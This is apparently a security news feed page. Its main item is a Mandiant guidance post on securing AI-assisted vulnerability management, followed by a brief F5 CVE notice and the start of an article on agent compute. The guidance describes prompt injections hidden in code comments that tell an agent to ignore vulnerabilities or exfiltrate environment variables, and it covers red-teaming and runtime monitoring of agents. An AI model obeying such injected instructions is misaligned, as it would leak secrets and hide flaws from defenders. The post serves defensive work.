<p><span>In response to customer inquiries about how to safely integrate AI capabilities into vulnerability management workflows, this blog provides actionable guidance from Mandiant Consulting about how to establish operational guardrails for AI assisted vulnerability management, including several detailed scenarios. What each of these examples show is that security teams can accelerate workflows with AI while also upholding the structural integrity of their environments. We suggest that combining AI capabilities with deterministic controls and human intelligence in strategic ways maximizes benefits and reduces risk. </span></p>
<h3><span>Establish Operational Guardrails to Safely Deploy AI Agents</span></h3>
<p><span>To safely adopt advanced AI capabilities without introducing unpredictable failures into deployment pipelines, organizations should ground their approach in established industry standards. While guidelines like the </span><a href="https://www.nist.gov/itl/ai-risk-management-framework" rel="noopener" target="_blank"><span>NIST AI Risk Management Framework (RMF)</span></a><span> and the </span><a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/" rel="noopener" target="_blank"><span>OWASP Top 10 for LLMs</span></a><span> provide comprehensive baselines for identifying risks, operationalizing these controls requires a structural blueprint.</span></p>
<p><span>Frameworks like </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>Google’s Secure AI Framework (SAIF)</span></a><span> </span><a href="https://safety.google/intl/en_sg/safety/saif/" rel="noopener" target="_blank"><span>and</span></a><a href="https://storage.googleapis.com/gweb-research2023-media/pubtools/1018686.pdf" rel="noopener" target="_blank"><span> </span><span>Google’s approach to secure AI Agents</span></a><span> provide a practical path forward, demanding that organizations extend existing deterministic controls directly into the AI execution environment. When deploying AI agents, security teams should navigate specific operational and structural risks:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Pre-agent data security and Defense-in-Depth:</strong><span> Agents should not be able to access personally identifiable information (PII), protected health information (PHI), or other sensitive data. Organizations should enforce data security before the prompt reaches the model. This includes strictly using non-production environments populated with synthetic data for testing. For production, security teams should deploy a hybrid defense-in-depth model. This includes Layer 1 deterministic policy engines acting as chokepoints, alongside Layer 2 reasoning-based defenses like specialized guard models (such as </span><a href="https://docs.cloud.google.com/model-armor/overview"><span>Model Armor</span></a><span> or similar provider-agnostic guardrails) to filter out sensitive data and block malicious prompt injections before they reach the agent layer. Crucially for vulnerability discovery, security teams should treat the codebase itself as an untrusted input. Threat actors can embed indirect prompt injections within source code comments or third-party dependencies (e.g., hidden instructions telling the agent to ignore vulnerabilities or exfiltrate environment variables), making input sanitation a requirement even for internal scanning.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Cloud provider limitations and zero data retention (ZDR):</strong><span> Many cloud and LLM providers block or throttle automated offensive security probing by default to prevent abuse. Organizations should establish clear rules of engagement and authorized testing agreements to navigate acceptable use policies. Furthermore, organizations should enforce strict zero data retention (ZDR) agreements with their LLM providers to guarantee that proprietary code and discovered vulnerabilities are never used to train external models.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Workload isolation:</strong><span> Agent workloads should execute in strictly isolated, unprivileged containers with dynamically limited privileges. By relying on robust sandboxing to prevent privilege escalation, if an agent hallucinates a destructive command or is hijacked via prompt injection, the blast radius remains contained.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Red Teaming:</strong><span> Before deploying autonomous vulnerability scanners that can dynamically spin up sandboxes and execute code, organizations should subject the AI agents themselves to human-led red teaming as part of comprehensive assurance efforts. This validates the agent's resilience against jailbreaks, recursive logic loops, and complex prompt injections, ensuring the security tooling does not become the attack vector.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Least-Privileged Machine Identities and Human Controllers:</strong><span> While workloads should be isolated, agents inherently require privileges to generate pull requests and commit code. Security teams should ensure these agents operate under distinct, strictly scoped machine identities that tie back to human controllers to ensure accountability and user consent. Organizations should use short-lived, just-in-time (JIT) tokens bound exclusively to the specific repository and branch under review. T</span><span>his enforces the principle of limited agent powers and ensures that even if an agent’s container is compromised via prompt injection, the threat actor cannot pivot to modify adjacent enterprise codebases.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Supply chain resilience for skills:</strong><span> As developers augment AI with third-party skills and model context protocol (MCP) servers, security teams should treat these integrations as untrusted supply chain components. MCP plugins introduce the risk of supply chain poisoning, where a previously benign integration is silently updated with malicious dependencies. Additionally, security teams should evaluate the underlying agent orchestration frameworks themselves (e.g., LangChain, AutoGen) for inherent vulnerabilities, such as session memory poisoning or recursive loop hijacking.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Toxic flow analysis (TFA) and Observable Actions:</strong><span> The objective of TFA is to monitor data paths at runtime, ensuring agents do not exfiltrate sensitive internal context to unvetted external endpoints. Agent actions, inputs, reasoning, and outputs must be fully observable and transparently logged. While implementing dynamic taint tracking for LLMs remains a complex architectural challenge, organizations should clearly separate this runtime observability from static supply chain controls. Integrating threat intelligence to hash and vet incoming agent tools provides a necessary baseline for verifying integrity </span><span>before</span><span> deployment. However, because static controls cannot address behavior post-deployment, mitigating data exfiltration ultimately requires active runtime monitoring and secure, centralized logging to trace and restrict the actual flow of data.</span></p>
</li>
</ul></div>
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<div class="block-paragraph_advanced"><p><span>By operationalizing these tools within frameworks that demand verifiable integrity and structural resilience, organizations can safely bridge the gap between AI velocity and enterprise defense.</span></p>
<h3><span>The need for human-led threat modeling</span></h3>
<p><span>While LLMs excel at identifying syntax patterns, source code itself rarely contains the full picture of unwritten business intent. Some organizations attempt to solve this by connecting LLM agents to internal wikis, design documents, and issue trackers using retrieval-augmented generation (RAG).</span></p>
<p><span>While RAG gives the model access to external business context, it is not a perfect fix. Corporate documentation is frequently stale, contradictory, or incomplete. An AI agent might retrieve an outdated architecture diagram and confidently hallucinate a secure path that no longer exists in production. Because LLM agents struggle to resolve conflicting, undocumented human assumptions, human-led threat modeling remains a critical security control across both legacy applications and modern agent workflows.</span></p>
<p><span>Security teams should apply threat modeling during both the pre-build system design phase to establish a secure foundation, and during post-build architecture reviews. While an AI agent might successfully identify a poorly configured internal endpoint locally, a human threat modeler asks the structural question: </span><span>why does that microservice possess broad database read permissions in the first place?</span><span> </span></p>
<p><span>Identifying architectural vulnerabilities requires reasoning about business risk, data sensitivity, and operational constraints. To structure this process, organizations can use industry frameworks like PASTA (Process for Attack Simulation and Threat Analysis) or service offerings like the </span><a href="https://services.google.com/fh/files/misc/ds-threat-modeling-security-service-en.pdf" rel="noopener" target="_blank"><span>Mandiant Threat Modeling Security Service</span></a><span> to map trust boundaries, uncover structural design flaws, and prioritize compensating controls. Securing fundamental architecture through human oversight is a necessary component when relying on automated agents to find bugs in a poorly designed system.</span></p>
<p><span>Once these AI agents are safely sandboxed, as guided by SAIF, and the architecture is verified through threat modeling, organizations can typically apply them to two different problem spaces: Enterprise Vulnerability Management (to assist in managing the volume of known CVEs in commercial off-the-shelf (COTS) software and infrastructure) and Product Security (to identify vulnerabilities in 1st-party (1P) code).</span></p>
<h3><span>Track 1: Enterprise Vulnerability Management</span></h3>
<h4><span>Foundational security and discovery </span></h4>
<p><span>While the second track of this post explores how AI agents can uncover complex zero-days in custom code, organizations should manage the scale of enterprise infrastructure in tandem with these AI deployments. Even as new AI capabilities dominate headlines, organizations should still address foundational security challenges, such as secrets sprawl, unmanaged service accounts, missing FIDO2 MFA, and legacy VPN concentrators. Although vulnerability exploitation was the primary initial infection vector in intrusions Mandiant investigated last year, threat actors consistently rely on missing foundational controls and unpatched edge devices to secure and escalate their foothold after exploiting a vulnerability.</span></p>
<p><span>Furthermore, AI cannot replace foundational visibility. As security teams deploy AI agents, they should simultaneously close these tactical entry points by maximizing dynamic discovery capabilities like External Attack Surface Management (EASM), Cloud Security Posture Management (CSPM), and Continuous Threat Exposure Management (CTEM). In hybrid and cloud environments, tools like </span><a href="https://cloud.google.com/wiz?e=48754805"><span>Wiz</span></a><span> can be used to map this initial footprint.</span></p>
<h3><span>Risk-based vulnerability management </span></h3>
<p><span>Vulnerability management teams are already overwhelmed by the current volume of findings generated by traditional scanners. As organizations scale dynamic discovery tools, such as EASM, CSPM and CTEM, alongside automated AI agents, this influx of findings will compound the problem. To manage this influx, telemetry from these diverse discovery methods must first be normalized and deduplicated. This normalized data serves two purposes: it feeds directly into the risk engine, and it acts as a live overlay to correct stale records in the configuration management database (CMDB). By evaluating the deduplicated vulnerabilities alongside this newly updated asset context and frontline threat intelligence, the RBVM engine calculates a custom risk score that allows security teams to dynamically prioritize remediation.</span></p>
<p><span>A mature RBVM methodology calculates a customized risk score on a 0 to 100 scale using a weighted average. A sample formula for calculating this risk-based score is:</span></p>
<p><span>Final Score = (W_1 * S_vuln) + (W_2 * S_asset) + (W_3 * S_threat)</span></p>
<p><span>The variables and weights (W) are customized to the organization's risk appetite (for example, 0.20 for vulnerability, 0.40 for asset, and 0.40 for threat, summing to 1.0), while the underlying variables (S) are scored on a 0 to 100 scale and defined as follows:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Vulnerability severity (S_vuln): </strong><span>The inherent technical severity of the flaw. This is calculated by taking the CVSS Base Score (which natively accounts for confidentiality, integrity, and availability impact) and multiplying it by 10.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Asset context (S_asset): </strong><span>A combined metric of exposure and data sensitivity. Scores range from 100 for internet-facing assets holding customer data, down to 25 for internal-only assets with no sensitive data. To translate this impact into monetary terms for non-technical stakeholders, organizations can incorporate Factor Analysis of Information Risk (FAIR) principles into this metric. However, this approach requires highly accurate, continuously updated financial data that many enterprises struggle to maintain at scale.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Threat context (S_threat): </strong><span>The real-world urgency of the vulnerability. Scores range from 100 if actively exploited by threat actors relevant to the organization's profile, 75 if a proof-of-concept exists or if it is a vulnerability class easily exploited by autonomous AI agents, down to 25 if the exploit is theoretical and highly complex. Organizations should also map the Exploit Prediction Scoring System (EPSS) probability percentage directly into this variable. This allows the threat score to automatically scale up or down as real-world exploitation telemetry shifts, aligning static vulnerability data with active threat intelligence.</span></p>
</li>
</ul>
<p><span>An asset's customized risk score should directly influence internal remediation service-level agreements (SLAs), unless external compliance-driven mandates, such as CISA Binding Operational Directives (BODs), or relevant equivalents, override internal prioritization. A risk-driven and threat-intelligence-driven vulnerability prioritization methodology will help organizations focus resources on managing and mitigating the most critical security vulnerabilities first. This is an area where LLMs can support the vulnerability management process, particularly by helping teams synthesize unstructured threat intelligence to surface relevant risk contexts more efficiently. Enforcing strict SLOs for patching, while requiring formal risk acceptance documentation for any patching exceptions, will help reduce the number of vulnerabilities available to threat actors and increase the visibility of outstanding risks across the organization. Furthermore, organizations should integrate RBVM data directly into their security orchestration, automation, and response (SOAR) platforms for automated alert enrichment.</span></p></div>
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        <figcaption class="article-image__caption "><p data-block-key="ce5s1">Figure 2: Integration points of a risk-based vulnerability management (RBVM) program.</p></figcaption>
      
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<div class="block-paragraph_advanced"><h3><span>Containment and Observability</span></h3>
<p><span>Modern architecture blueprints must prioritize attack surface reduction under the assumption that vulnerabilities will inevitably be exploited. Moving away from traditional perimeter defenses, organizations should align with zero trust principles, ensuring that security boundaries are established around every asset, workload, and identity.</span></p>
<p><span>A component of this alignment is the implementation of strong authentication principles. Organizations should eliminate implicit trust by enforcing continuous, context-aware authentication and authorization. Utilizing Zero Trust Network Access (ZTNA) solutions, such as Identity-Aware Proxies (IAP), shields critical management interfaces (e.g., SSH, RDP) and internal systems from direct internet exposure, granting access only to verified identities and compliant devices.</span></p>
<p><span>For public-facing applications and APIs, attack surface reduction involves deploying Layer 7 inspection at the load balancer or API gateway level. This hardening layer enforces strict schema validation, intercepting and neutralizing malformed inbound traffic and potential exploits before they can interact with internal application logic.</span></p>
<p><span>Securing the software supply chain is equally vital in modern blueprints, and organizations should align with frameworks like </span><a href="https://slsa.dev/spec/v0.1/levels" rel="noopener" target="_blank"><span>Supply-chain Levels for Software Artifacts (SLSA)</span></a><span> across both dependency and build tracks. Security policies should mandate that third-party dependencies are routed through a centralized artifact repository equipped with automated curation services, such as </span><a href="https://cloud.google.com/security/products/assured-open-source-software"><span>Google Assured Open Source Software (OSS)</span></a><span> or an equivalent solution, preventing untrusted code from entering the development lifecycle. Furthermore, maturing toward advanced SLSA build levels (e.g., SLSA level 3) through the implementation of isolation, ephemerality and reproducibility requirements via  ephemeral compute infrastructure for CI/CD runners reduces the likelihood of attacker persistence by ensuring environments are short-lived and automatically cycled.</span></p>
<p><span>To complement these pre-build controls, runtime observability should be established across all production workloads. This requires monitoring both infrastructure-level behavior and the specific runtime libraries actively executing in production, which surfaces true exploitable risk far beyond a static Software Bill of Materials. In tandem with monitoring workloads, organizations should secure how they authenticate by implementing workload identity federation. By removing static credentials and instead using short-lived tokens backed by strong cryptographic identity verification, organizations can reduce the risk of credential theft and unauthorized lateral movement.</span></p>
<p><span>Within the internal environment, microsegmentation should be enforced to break down flat networks into granular security zones. Routing application traffic through a Secure Access Service Edge (SASE) architecture integrates network routing directly with robust identity controls, rendering internal services completely invisible to unauthenticated users and containing threats to their initial point of entry.</span></p>
<p><span>Finally, automated containment and incident response within a zero trust framework must rely on deterministic, auditable tooling. Endpoint detection and response (EDR) platforms and SOAR playbooks should handle high-fidelity containment tasks through hardcoded execution logic. While AI tools accelerate triage and policy recommendation, actual execution capabilities must remain restricted to well-defined, pre-tested workflows to maintain total architectural predictability.</span></p></div>
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        <figcaption class="article-image__caption "><p data-block-key="ak3zc">Figure 3: Structural containment and observability architecture</p></figcaption>
      
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<div class="block-paragraph_advanced"><h3><span>Track 2: Product Security &amp; Development (1P Code)</span></h3>
<h4><span>Deterministic and probabilistic tooling</span></h4>
<p><span>Integrating LLM agents into vulnerability management and security workflows requires recognizing the differences between deterministic and probabilistic tooling. Traditional SAST and DAST tools utilize fixed methodologies to evaluate vulnerabilities through structural code parsing or definitive runtime observations. LLMs, however, evaluate source code by processing tokens simultaneously to calculate statistical and semantic relationships, rather than tracing deterministic execution tracks.</span></p>
<p><span>While techniques like Chain of Thought (CoT) prompting allow models to bridge this gap by decomposing complex code paths into intermediate reasoning steps, this process remains bounded by architectural limitations. Even when a model possesses a context window large enough to ingest entire repositories, it may experience attention degradation across long inputs, often failing to correctly weight intervening validation or sanitization logic within the prompt. For example, if a variable is tainted on line 10 but sanitized on line 500, attention degradation can cause the model to lose track of the sanitization logic. Furthermore, when enterprise codebases require chunking to fit within context limits, the resulting fragmentation may cause the model to lose track of end-to-end data flows.</span></p>
<p><span>Consequently, probabilistic engines are effective at uncovering localized, static anomalies, such as hardcoded credentials or outdated dependencies, but frequently misjudge complex vulnerabilities split across fragmented chunks or extended context windows. Notable exceptions occur when these probabilistic models are coupled with deterministic feedback loops. For instance, when analyzing C++ memory corruption, an LLM can be equipped with a test harness to iteratively execute code and definitively prove a crash. While these dynamic validation applications are detailed in subsequent sections, the baseline limitation for static analysis across standard enterprise codebases remains: models struggle to consistently evaluate dispersed logic.</span></p></div>
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<div class="block-paragraph_advanced"><h3><span>Binary and architectural oracles</span></h3>
<p><span>Many security programs are moving toward agent workflows where an agent autonomously spins up a test environment and uses tools to execute payloads and verify its findings. This is a promising approach, but it is important to understand where it is most effective.</span></p>
<p><span>Agent workflows perform well against bug classes with binary and observable oracles, meaning the system provides an objective, 'crash or no crash' feedback loop. For example, if a model is hunting for memory corruption in a C++ kernel, a successful exploit is undeniable: the payload executes, and a resulting crash definitively proves the vulnerability. This explains why the industry is currently seeing a surge in AI-discovered vulnerabilities across memory-unsafe targets like web browsers and operating systems.</span></p>
<p><span>However, enterprise software is heavily dominated by vulnerabilities that require architectural oracles for validation. Vulnerabilities like authorization bypasses, complex business logic flaws, and indirect server-side request forgeries require an understanding of business context and cross-service trust boundaries. If an agent's payload fails to produce a clear outcome, it can't reliably distinguish whether the vulnerability is a hallucination or if it simply constructed the payload incorrectly. An agent's malformed payload might even crash an unrelated background process and cause the model to hallucinate a success and report a false confirmation. Complex enterprise architecture contains unwritten business intent that a probabilistic engine can't inherently know.</span></p></div>
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        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 5: Evaluating vulnerabilities against binary vs. architectural oracles</p></figcaption>
      
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<div class="block-paragraph_advanced"><h3><span>Targeted deployment and human impact</span></h3>
<p><span>Organizations adopting LLMs for vulnerability discovery face a massive staffing challenge. LLMs can generate findings significantly faster than human engineers can triage them. If every LLM-generated alert requires manual review, security teams will quickly face burnout and/or suffer alarm fatigue.</span></p>
<p><span>Rather than indiscriminately pointing agents at all available codebases and risking an influx of unverified output, security teams need a selective deployment strategy. Mature programs should maintain SAST and DAST for baseline hygiene and deterministic rule enforcement, and reserve intensive agent audits for high-impact components with clear binary oracles.</span></p>
<p><span>Organizations can prioritize agent audits on systems where the technology's strengths align with the broader risk profile:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Memory-unsafe codebases:</strong><span> Legacy or high-performance components written in memory-unsafe languages such as C, C++, or Assembly are strong candidates for LLM audits. These languages are susceptible to memory corruption flaws, such as buffer overflows and use-after-free conditions. Because these vulnerabilities trigger definitive failure states like segmentation faults, they work well with automated sandboxes where agents can compile the code with memory sanitizers and write proof-of-concept inputs. This approach is also effective for auditing the native extensions where safe languages call unsafe internal libraries, such as Python C extensions or the Java Native Interface (JNI).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Systems highly exposed to outside content:</strong><span> First-party data ingestion pipelines, custom API gateways, or proprietary edge proxies. A prerequisite here is direct access to the source code, this strategy is strictly for internally developed or fully open-source codebases where the organization can inspect the logic. Because these systems directly parse untrusted internet traffic, targeting their source code for LLM-driven audits yields the highest risk-reduction ROI.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Shared internal libraries and utilities: </strong><span>Core serialization/deserialization packages, common utility functions, and custom middleware wrappers (such as internal message-queue parsers) maintained in-house. Because the enterprise owns the source code for these shared building blocks, agent tools can easily hook into them within automated test harnesses to fuzz inputs and catch low-level logic or parsing bugs with high fidelity.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Foundational security boundaries:</strong><span> Internally developed centralized authentication services, custom OAuth providers, and internal credential brokers. While testing complex identity boundaries generates higher logic-based noise, having full access to the source code allows teams to pair agents with deterministic checks to safely triage findings, given that the blast radius of an authentication failure justifies the human effort.</span></p>
</li>
</ul>
<p><span>To filter the noise generated by LLMs, organizations should establish routing rules. Require the agent to generate a fully reproducible, deterministic test harness (such as a compiled binary or a Python test script) that attempts to prove the exploit. This harness must execute automatically in an isolated, monitored sandbox. If the sandbox execution fails (due to a syntax error or a failed exploit), the ticket is discarded, sparing human resources. However, organizations should enforce execution timeouts and iteration limits on these test harnesses. Without hard limits, an autonomous agent attempting to prove a vulnerability can fall into an infinite loop: writing a script, failing, rewriting, and failing again, exhausting API token budgets and compute resources against a single dead-end vulnerability, creating significant cost overruns without advancing the security review. To manage these expenses, organizations should incorporate FinOps principles to balance the compute and API costs of LLM audits against the traditional expenses of manual triage.</span></p>
<p><span>However, a successful execution in the sandbox does not guarantee an actionable, high-priority risk. In practice, autonomous agents frequently produce working PoCs for genuine technical flaws that are ultimately irrelevant; or warrant a lower remediation priority within the context of the system's threat model. For example, the agent might successfully exploit an unreachable dead-code path, or trigger a bug that requires administrative access to execute and yields no further escalation of privilege. Therefore, a human engineer should be assigned to review and prioritize the ticket only if the sandbox registers a successful execution, validating environmental context, reachability, and true business impact as part of the review.</span></p>
<p><span>This workflow reduces the volume of alerts, but it is important to understand that the security team's workload does not disappear. The engineer's primary job shifts from manually hunting for the initial vulnerability to auditing the LLM-generated proof to ensure it represents a meaningful risk rather than an unexploitable or contextually irrelevant finding. Leadership should properly staff and train teams for this new reality. Deploying LLM agents does not remove the need for skilled practitioners; it redirects their workload toward complex validation. Equally important is training teams to recognize the risk of false negatives. A hyper-focus on filtering AI-generated noise can create a false sense of security. If an exploit relies on a novel technique or a zero-day vulnerability that was not heavily weighted in the model's training data, the agent will likely scan right past it in silence. LLMs augment discovery, but they do not guarantee exhaustive coverage.</span></p>
<p><span>When integrating LLMs into SAST triage pipelines, human engineers should also verify the broader architectural integrity. Prompting an LLM with specific SAST warnings can induce contextual narrowing, where the agent becomes hyper-fixated on resolving a localized syntax error and misses broader architectural flaws existing in the same file. Furthermore, if the agent's mandate extends beyond discovery to automated remediation (such as writing and proposing code fixes), this human-in-the-loop validation becomes critical to ensure the LLM does not inadvertently introduce new regressions or bypass intended business logic.</span></p></div>
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        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 6: Flowchart outlining the targeted LLM deployment and triage workflow.</p></figcaption>
      
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</div>
<div class="block-paragraph_advanced"><h3><span>Remediation and hardening</span></h3>
<h4><span>LLM-assisted code remediation</span></h4>
<p><span>A primary goal of integrating large language models (LLMs) into the software development lifecycle is automated remediation. To achieve this, organizations are deploying these capabilities through two primary execution methods: directly within the integrated development environment (IDE) or as a centralized pipeline runner. Examples include </span><a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/" rel="noopener" target="_blank"><span>CodeMender</span></a><span>, although as of time of writing, it is not publicly available.</span></p>
<h4><strong>IDE-integrated method</strong><span> </span></h4>
<p><span>This method shifts remediation as far left as possible by operating as an active pair-programmer. Tools running continuous static analysis in the background of the IDE surface vulnerabilities directly to the developer via editor diagnostics like inline indicators or hover tooltips.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Localized scope:</strong><span> The developer can trigger the LLM agent to analyze the localized data flow and generate a targeted patch (such as implementing parameterized SQL queries). By constraining the LLM to localized, syntax-level fixes, the scope of the change remains contained. This prevents the agent from attempting sprawling, multi-file refactors that frequently break complex architectural logic.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Human-in-the-loop:</strong><span> The developer reviews the AI-generated patch before the code is committed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Managing false positives:</strong><span> Local IDE agents allow developers to manage false positives dynamically. Suppressing alerts anchored to specific line text reduces alert fatigue and preserves developer trust.</span></p>
</li>
</ul>
<h4><strong>CI/CD runner method</strong><span> </span></h4>
<p><span>The runner method executes asynchronously within the CI/CD pipeline to use an LLM to review committed code and automatically propose remediation.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Restricted execution and deterministic validation: </strong><span>Asking a centralized runner to automatically rewrite a complex, multi-file authorization flaw directly in the main branch introduces a high risk of breaking logic errors. To mitigate this, agents must be restricted to generating pull requests (PRs). Once a PR is generated, it must automatically execute standard regression suites alongside the deterministic test harness. By rerunning the initial PoC against the patched code, the workflow repurposes the exploit script as a validation oracle to prove the vulnerability has been remediated. A human engineer then reviews the PR to validate the architectural logic before merging.</span></p>
</li>
</ul>
<p><span>In all cases security teams should define a clear boundary between the two methods rather than rely on a single approach. IDE agents provide immediate, syntax-level support. They catch and resolve low-complexity errors locally before developers commit code. Centralized CI/CD runners handle broader organizational baselines. They propose complex, repository-wide fixes for vulnerabilities that bypass local environments.</span></p>
<h4><strong>Post-deployment controls</strong><span> </span></h4>
<p><span>Even with human review and deterministic test harnesses, AI-generated patches can still introduce logic regressions in production. Organizations should implement strict post-deployment controls:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Automated rollbacks:</strong><span> Treating LLM-generated code with the same post-deployment scrutiny as any major architectural change ensures that if an unforeseen regression traverses the CI/CD pipeline, the environment can revert to a known good state.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Mitigating model drift:</strong><span> Relying on managed AI services introduces the ongoing risk of model drift. To prevent silent weight updates from breaking test harnesses, organizations need to pin specific model API versions to frozen releases. When a pinned version reaches its end-of-life, organizations will face a forced migration. Mitigating this pipeline fragility requires combining model pinning with deterministic regression suites.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Compliance and auditability:</strong><span> If an AI agent automatically closes a security ticket or generates a patch in the CI/CD pipeline, organizations should maintain immutable audit logs to satisfy frameworks like SOC 2 ,PCI-DSS, FedRAMP, and CMMC. National security deployments must also account for data sovereignty requirements. This logging should record the specific model version that proposed the fix, the deterministic test results that validated it, and the human engineer who approved the merge. Furthermore, because emerging legislation like the EU AI Act emphasizes human oversight for high-risk applications, security teams should carefully evaluate how autonomous remediation workflows align with these evolving global regulatory standards.</span></p>
</li>
</ul></div>
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        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 7: Flowchart demonstrating the difference between local IDE AI remediation and centralized CI/CD pipeline remediation.</p></figcaption>
      
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</div>
<div class="block-paragraph_advanced"><h3><span>Conclusion</span></h3>
<p><span>Leveraging LLMs in vulnerability management is a multi-layer solution: Integrating it requires separating workflows by layer. At the enterprise infrastructure level, Risk-Based Vulnerability Management (RBVM) and exposure management are necessary to process the volume of findings and configuration drift. At the product and code security level, LLM-enabled vulnerability assessment and remediation must operate alongside foundational deterministic controls, such as SAST and DAST, to audit custom, open-source, or third-party code.</span></p>
<p><span>Although LLMs can help manage technical debt and accelerate vulnerability discovery, they do not replace secure-by-design principles. The fact that LLM agents are proving exceptionally capable at identifying and exploiting localized memory corruption in memory-unsafe codebases, alongside other primary vectors, should serve as a wake-up call. </span></p>
<p><span>As a long-term strategy aligned with </span><a href="https://media.defense.gov/2022/Nov/10/2003112742/-1/-1/0/CSI_SOFTWARE_MEMORY_SAFETY.PDF" rel="noopener" target="_blank"><span>NSA guidance on Software Memory Safety</span></a><span>, organizations need to phase memory-safe languages into new internal development. LLMs are beginning to expand what is possible here by reducing the manual labor required for code migration. Converting existing C or C++ codebases to Rust has historically been unrealistic due to the large volume of engineering hours needed. While fully automated translation is not a turn-key solution, using LLMs to assist engineers with the bulk of the conversion can make these long-term migrations operationally viable. Beyond internal efforts, organizations should use procurement requirements to incentivize vendors to reduce their reliance on memory-unsafe languages and establish secure configuration defaults over time. Bridging the gap between AI velocity and enterprise defense means building an automated pipeline to manage the current backlog, while architecting systems where entire classes of vulnerabilities and misconfigurations are eliminated by design.</span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Google Threat Intelligence Group (GTIG) and other broader Google teams.</span></p></div>]]></content:encoded>
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<title><![CDATA[CVE-2026-59762 | F5 BIG-IP HTTP 2 denial of service (WID-SEC-2026-2371)]]></title>
<description><![CDATA[A vulnerability marked as critical has been reported in F5 BIG-IP, BIG-IP Next for Kubernetes, BIG-IP Next SPK and BIG-IP Next CNF. This affects an unknown part of the component HTTP 2. The manipulation leads to denial of service.

This vulnerability is documented as CVE-2026-59762. The attack ca...]]></description>
<link>https://tsecurity.de/de/3673240/sicherheitsluecken/cve-2026-59762-f5-big-ip-http-2-denial-of-service-wid-sec-2026-2371/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673240/sicherheitsluecken/cve-2026-59762-f5-big-ip-http-2-denial-of-service-wid-sec-2026-2371/</guid>
<pubDate>Thu, 16 Jul 2026 13:21:48 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">critical</a> has been reported in <a href="https://vuldb.com/product/f5:big-ip">F5 BIG-IP, BIG-IP Next for Kubernetes, BIG-IP Next SPK and BIG-IP Next CNF</a>. This affects an unknown part of the component <em>HTTP 2</em>. The manipulation leads to denial of service.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-59762">CVE-2026-59762</a>. The attack can be initiated remotely. There is not any exploit available.]]></content:encoded>
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<title><![CDATA[New agentic compute patterns]]></title>
<description><![CDATA[For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start th...]]></description>
<link>https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</guid>
<pubDate>Thu, 16 Jul 2026 11:19:03 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start thinking about services. Most cloud-native infrastructure today is built on top of it, directly or in spirit, and EKS made that model the default for the majority of enterprise teams running workloads on AWS.</p>



<p class="wp-block-paragraph">The workload that defined that era was the stateless HTTP request, fast in, fast out, disposable. A user action triggers a request, the request hits a service, the service returns a response and the container is done. Kubernetes was optimized for that pattern down to the scheduler internals: Bin-pack containers onto nodes, autoscale on CPU and memory, evict and reschedule when something goes wrong. The whole system is tuned around the assumption that individual units of work are short, stateless and interchangeable.</p>



<p class="wp-block-paragraph">That assumption no longer holds for the workloads that matter most right now.</p>



<h2 class="wp-block-heading">The agent workload is structurally different</h2>



<p class="wp-block-paragraph">Agents are long-running, stateful processes. They reason across time, call external tools, spawn subprocesses, write and execute code, and make decisions that depend on what happened five steps earlier in the same task. A single-agent workflow might run for minutes or hours, touching a dozen external systems and generating intermediate outputs that subsequent steps depend on. The compute layer for that kind of work needs to do things the old model was never asked to do. That is the new pattern: Execution infrastructure designed around agent semantics rather than request semantics.</p>



<p class="wp-block-paragraph">The Kubernetes community itself has acknowledged this mismatch. In March 2026, Kubernetes SIG Apps published an<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> introduction to Agent Sandbox</a>, a new CRD-based abstraction designed specifically for singleton, stateful agent workloads. The framing is direct: The ecosystem is moving from short-lived, isolated tasks to deploying multiple, coordinated AI agents that run continuously, and mapping those workloads to traditional Kubernetes primitives requires an entirely new abstraction. The fact that the Kubernetes maintainers built a dedicated primitive for this, rather than recommending teams compose one from existing resources, is itself the clearest signal that agent execution does not fit the old model.</p>



<h2 class="wp-block-heading">What agent execution actually requires</h2>



